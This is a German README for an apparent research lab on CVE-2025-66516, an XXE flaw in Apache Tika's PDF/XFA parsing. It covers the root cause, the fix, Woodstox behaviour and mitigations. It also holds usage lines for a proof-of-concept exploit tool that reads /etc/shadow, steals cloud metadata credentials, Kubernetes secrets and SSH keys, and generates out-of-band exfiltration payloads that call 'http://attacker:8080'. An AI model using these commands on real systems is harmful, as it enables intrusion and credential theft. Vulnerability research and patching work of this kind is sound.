CVE-2025-66516: Kritische XXE-Sicherheitslücke in Apache Tika

Zusammenfassung

CVE-2025-66516 ist eine kritische XML-External-Entity-(XXE)-Einschleusungssicherheitslücke in Apache Tika mit einem CVSS-Score von 10,0 (maximale Schwere). Die Sicherheitslücke ermöglicht es entfernten Angreifern, beliebige Dateien zu lesen, Server-Side-Request-Forgery-(SSRF)-Angriffe durchzuführen und sensible Daten zu exfiltrieren, indem sie ein speziell manipuliertes PDF-Dokument mit bösartigem XFA-Inhalt (XML Forms Architecture) hochladen.

Betroffene Versionen

Wichtig: Diese CVE ersetzt CVE-2025-54988, die fälschlicherweise nur das PDF-Modul als anfällig identifizierte. Die tatsächliche Sicherheitslücke befindet sich im tika-core.

Technische Analyse

Die Sicherheitslücke

Die Sicherheitslücke ist ein XML-External-Entity-(XXE)-Einschleusungsfehler in der Verarbeitung von XFA-Daten (XML Forms Architecture) in PDF-Dokumenten durch Apache Tika.

Das Problem: Tika verlässt sich auf zugrunde liegende Java-XML-Parser (insbesondere einen StAX-Parser), um XFA-XML-Inhalte zu lesen. Anfällige Versionen haben es versäumt, den Parser korrekt zu konfigurieren, um die Auflösung externer Entitäten zu deaktivieren. Wenn der Parser auf eine Anfrage für eine externe Entität stößt (wie SYSTEM "file:///etc/passwd"), löst er diese auf und gibt den Dateiinhalt zurück.

Ort: Der Fehler befindet sich in XMLReaderUtils.getXMLInputFactory() in tika-core:

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Unwirksam
    return factory;
}

Der IGNORING_STAX_ENTITY_RESOLVER sollte XXE blockieren, indem er ein leeres Ergebnis zurückgibt, gab aber einen String zurück, anstatt den erwarteten InputStream. Der standardmäßige StAX-Parser des JDK ignorierte diesen falschen Rückgabetyp stillschweigend und fiel auf das Standardverhalten zurück, das externe Entitäten auflöst.

Die Korrektur (Tika 3.2.2)

Der Fix deaktiviert explizit die DTD- und externe-Entitäten-Unterstützung auf Factory-Ebene:

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

Zusätzlich wurde der Resolver so geändert, dass er einen korrekten InputStream-Typ zurückgibt.

Der zufällige Woodstox-Schutz

Im Java-Ökosystem gibt es mehrere XML-Parser-Bibliotheken. Anwendungen verwenden den Parser, der konfiguriert oder zuerst im Klassenpfad gefunden wird.

Was ist Woodstox? Woodstox ist ein leistungsstarker Open-Source-StAX-XML-Parser, der häufig mit Java-Anwendungen gebündelt wird.

Wie es Schutz bietet: Entwurfsbedingt (nicht zufällig) verarbeitet die Implementierung von Woodstox den Rückgabetyp des XMLResolver korrekt. Wenn Woodstox den String-Rückgabewert von IGNORING_STAX_ENTITY_RESOLVER erhält, behandelt er ihn als gültigen leeren Inhalt und blockiert so effektiv die XXE.

Kritische Unterscheidung:

• tika-server-standard.jar bündelt Woodstox – NICHT ANFÄLLIG
• tika-core + Parser-Module (eingebettete Nutzung) bündeln Woodstox NICHT – ANFÄLLIG
• Anwendungen, die den standardmäßigen StAX-Parser des JDK verwenden – ANFÄLLIG

Schnellstart

Testen der Sicherheitslücke

# 1. Starten der Laborumgebung
docker-compose up -d --build

# 2. Test gegen anfälligen Tika (JDK StAX, Port 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. /etc/passwd extrahieren
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Vergleich mit geschütztem Tika (Woodstox, Port 9998)
python poc/exploit.py --url http://localhost:9998 --check

Laborumgebung

Verzeichnisstruktur

CVE-2025-66516/
|-- docker-compose.yml              # Labororchestrierung
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika mit Woodstox (geschützt)
|   +-- Dockerfile.jdk-stax         # Tika ohne Woodstox (ANFÄLLIG)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask-Upload-Anwendung
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Automatisiertes Exploit-Tool
|   +-- generate_payload.py         # Generator für bösartige PDFs
+-- README.md

Dienste

Labor starten

docker-compose up -d --build

Proof-of-Concept-Werkzeuge

1. Automatisiertes Exploit-Tool (exploit.py)

Vollständige Angriffskette mit automatischer Payload-Generierung und Datenextraktion.

# Prüfen, ob das Ziel anfällig ist
python poc/exploit.py --url http://target:9998 --check

# Lokale Dateien lesen
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# AWS-Metadaten-Diebstahl (EC2-Instanzen)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Kubernetes-Secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF auf interne Dienste
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Extrahierte Daten speichern
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Payload-Generator (generate_payload.py)

Erzeugt bösartige PDF-Dateien für manuelle Tests oder die Integration mit anderen Tools.

# Payload für eine bestimmte Datei generieren
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# SSRF-Payload generieren
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# OOB-Exfiltrations-Payload generieren
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Angriffsmodus-Voreinstellungen verwenden
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# Verfügbare Angriffsmodi auflisten
python poc/generate_payload.py --list-modes

Verfügbare Angriffsmodi:

• file_read – Lokale Dateien lesen (/etc/passwd, /etc/shadow, usw.)
• ssh_keys – SSH-private Schlüssel stehlen
• aws_metadata – AWS EC2-Metadaten und IAM-Anmeldedaten
• gcp_metadata – GCP-Dienstkontotoken
• azure_metadata – Azure Managed Identity-Token
• k8s_secrets – Kubernetes-Dienstkonto-Anmeldedaten
• webapp_configs – Häufige Webanwendungskonfigurationen
• ssrf_internal – Interne Dienste ausspähen

Testergebnisse

Anfällige Konfiguration (JDK StAX – Ohne Woodstox)

Test gegen Tika 2.9.2 ohne Woodstox (simuliert eingebettete Bereitstellungen):

Exploit-Nachweis:

<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Geschützte Konfiguration (Woodstox StAX)

Test gegen Tika 2.9.2 mit Woodstox (standardmäßiges tika-server-standard.jar):

Ausgabe zeigt leere Entität:

<li fieldName="data">data: </li>

Fazit

Die Sicherheitslücke ist real und kritisch. Die Ausnutzbarkeit hängt von der StAX-Implementierung ab:

• [GESCHÜTZT] tika-server-standard.jar – Mitgelieferter Woodstox blockiert XXE
• [ANFÄLLIG] Eingebetteter Tika (tika-core + Parser) – Verwendet standardmäßig JDK StAX
• [ANFÄLLIG] Benutzerdefinierte Bereitstellungen ohne Woodstox
• [ANFÄLLIG] Unternehmensintegrationen (Elasticsearch, Solr, Alfresco) – Verwenden oft eingebetteten Tika

XXE-Angriffsmöglichkeiten

XXE ist grundsätzlich eine Dateilesen-/SSRF-Sicherheitslücke, keine direkte RCE. Sie ermöglicht jedoch mehrere Angriffspfade:

Direkte Angriffe

Eskalation zu RCE

Abhilfemaßnahmen

Sofortmaßnahmen

1. Upgrade von Apache Tika auf Version 3.2.2 oder höher

   root@kitploit:~

   <dependency>
       <groupId>org.apache.tika</groupId>
       <artifactId>tika-core</artifactId>
       <version>3.2.2</version>
   </dependency>
   

2. Überprüfen, ob alle Tika-Komponenten aktualisiert sind (tika-core UND Parser-Module)

Risikobewertung

Verteidigung in der Tiefe

1. Eingabevalidierung – Hochgeladene Dateitypen validieren
2. Netzwerksegmentierung – Tika-Verarbeitung isolieren
3. Prinzip der geringsten Privilegien – Minimale Dateisystemberechtigungen
4. Überwachung – Bei ungewöhnlichem Dateizugriff alarmieren

Forschungsreise

Aufgetretene Probleme

Problem 1: Erster Exploit funktionierte nicht

• XFA wurde erkannt, aber XXE wurde nie ausgelöst
• Zeit mit Debugging der Payload-Struktur verbracht

Problem 2: Mehrere XML-Deklarationsfehler

• Fehler: WstxParsingException: Illegal processing instruction target ("xml")
• Ursache: XFA-Streams enthielten jeweils XML-Deklarationen
• Behebung: Deklaration nur in die Präambel, nicht in die Substrams aufnehmen

Problem 3: Das Woodstox-Rätsel

• Alle Payloads schlugen gegen tika-server-standard.jar fehl
• Woodstox war enthalten und blockierte XXE
• Dockerfile.jdk-stax erstellt, um ohne Woodstox zu testen

Problem 4: Testen der falschen Konfiguration

• Zeit mit der geschützten Konfiguration verschwendet
• Lektion: Den vollständigen Abhängigkeitsbaum vor dem Testen verstehen

Gelernte Lektionen

1. CVSS-Scores brauchen Kontext – Umgebungsfaktoren beeinflussen die Ausnutzbarkeit
2. Minimale Konfigurationen testen – Nicht annehmen, dass gebündelte Abhängigkeiten vorhanden sind
3. XML-Parser variieren stark – Gleicher Code verhält sich mit verschiedenen Parsern unterschiedlich
4. Eingebettet != Server – Die Bibliotheksnutzung hat oft andere Abhängigkeiten
5. Fehlermeldungen sind Hinweise – Parser-Ausnahmen verraten Implementierungsdetails

Referenzen

• Apache Tika Security Advisory
• Fix Commit
• NVD-Eintrag
• Apache Tika Mailing-Liste Diskussion

Zeitleiste

Haftungsausschluss

Diese Laborumgebung und der Proof-of-Code-Code werden nur für autorisierte Sicherheitstests, Bildungszwecke und defensive Forschung bereitgestellt.

Verwenden Sie diese Tools nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung.

Lizenz

Dieses Forschungsmaterial wird zu Bildungszwecken bereitgestellt. Verwenden Sie es verantwortungsvoll.